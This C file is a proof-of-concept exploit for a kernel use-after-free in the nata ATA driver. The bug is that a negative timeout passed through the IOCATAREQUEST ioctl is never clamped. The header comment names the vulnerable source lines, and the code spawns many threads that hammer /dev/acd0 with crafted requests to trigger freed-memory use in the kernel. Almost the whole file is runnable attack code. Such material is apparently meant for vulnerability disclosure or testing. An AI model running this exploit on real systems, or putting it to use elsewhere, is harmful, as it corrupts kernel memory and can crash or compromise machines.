/*
 * DF-4475 PoC: IOCATAREQUEST unclamped negative timeout -> 1-tick
 * "taskqueue timeout" fallback completes and frees an ata_request that is
 * still owned by the channel queue / taskqueue -> use-after-free.
 *
 * Sink (this file's target): sys/dev/disk/nata/ata-all.c
 *   ata-all.c:488  request->timeout = ioc_request->timeout;   (no clamp)
 *   ata-all.c:514-515  kfree(buf); ata_free_request(request); (frees while the
 *                       channel may still own it -- see ata-queue.c:144-151)
 * Fallback: sys/dev/disk/nata/ata-queue.c
 *   ata-queue.c:140-141  lksleep(..., request->timeout * hz * 4)
 *   ata-queue.c:144-151  timeout expiry -> direct ata_completed(request)
 *   (ata_completed never removes the request from ch->ata_queue; the issuer
 *    then frees it -> the channel later begins/finishes a freed request)
 *
 * With timeout = -1 the sleep timo is -400 ticks; kern_timeout.c
 * _callout_setup_quick clamps qtick <= softticks to softticks+1, i.e. the
 * completion wait times out after ~1 tick while the request is typically
 * still queued behind other requests.
 *
 * Usage: ata_timeout_uaf [nthreads] [iters] [timeout]
 * Needs root (operator) on /dev/acd0 (ATAPI device on ata1).
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* mirror of sys/sys/nata.h struct ata_ioc_request (kernel layout, 64 bytes) */
struct ata_ioc_request_poc {
	union {
		struct {			/* offsets 0,1,8,16 -> size 24 */
			unsigned char	command;	/* 0 */
			unsigned char	feature;	/* 1 */
			unsigned long long lba;		/* 8 */
			unsigned short	count;		/* 16 */
		} ata;
		struct {			/* 16 + 18 = 34 bytes */
			char		ccb[16];
			unsigned char	sense[18];	/* struct atapi_sense, packed */
		} atapi;
	} u;					/* size 40 (align 8) */
	void	       *data;			/* 40 */
	int		count;			/* 48 */
	int		flags;			/* 52 */
	int		timeout;		/* 56 */
	int		error;			/* 60 */
};

#define ATA_CMD_CONTROL	0x01
#define ATA_CMD_READ	0x02
#define ATA_CMD_WRITE	0x04
#define ATA_CMD_ATAPI	0x08

#define POC_IOCATAREQUEST	_IOWR('a', 100, struct ata_ioc_request_poc)

static int fd;
static int timeout_val = -1;
static volatile unsigned long nreq, nwarn_seen;
static volatile int stop;

static void *
hammer(void *arg)
{
	struct ata_ioc_request_poc req;
	unsigned char *buf;
	unsigned long iter = (unsigned long)(size_t)arg;
	unsigned long i;

	buf = malloc(65536);
	if (buf == NULL)
		return (NULL);
	for (i = 0; i < iter && !stop; i++) {
		memset(&req, 0, sizeof(req));
		req.flags = ATA_CMD_READ | ATA_CMD_ATAPI;
		req.u.atapi.ccb[0] = 0x00;	/* TEST UNIT READY */
		req.count = 512;		/* non-zero: avoid DF-1644 */
		req.data = buf;
		req.timeout = timeout_val;
		if (ioctl(fd, POC_IOCATAREQUEST, &req) == 0)
			nreq++;
		else if (errno != EIO && errno != ENXIO && errno != EBUSY &&
			 errno != EFAULT && errno != EINVAL)
			fprintf(stderr, "ioctl: %s\n", strerror(errno));
		if ((i % 64) == 63)
			usleep(200);	/* let the channel drain a bit */
	}
	free(buf);
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t tid[64];
	int nthreads = (argc > 1) ? atoi(argv[1]) : 24;
	int iters = (argc > 2) ? atoi(argv[2]) : 400;
	int i;

	if (argc > 3)
		timeout_val = atoi(argv[3]);
	if (nthreads > 64)
		nthreads = 64;

	printf("poc: sizeof(req)=%zu ioctl=0x%lx (kernel expects size 64 -> "
	    "0x%x)\n", sizeof(struct ata_ioc_request_poc),
	    (unsigned long)POC_IOCATAREQUEST, 0xc0406164);

	if (sizeof(struct ata_ioc_request_poc) != 64) {
		fprintf(stderr, "FATAL: struct mirror wrong size\n");
		return (2);
	}

	fd = open("/dev/acd0", O_RDONLY);
	if (fd < 0) {
		perror("open /dev/acd0");
		return (1);
	}
	printf("poc: opened /dev/acd0, spawning %d threads x %d iters, "
	    "timeout=%d\n", nthreads, iters, timeout_val);

	for (i = 0; i < nthreads; i++)
		pthread_create(&tid[i], NULL, hammer,
		    (void *)(size_t)iters);
	for (i = 0; i < nthreads; i++)
		pthread_join(tid[i], NULL);
	printf("poc: done, %lu ioctls completed\n", nreq);
	return (0);
}
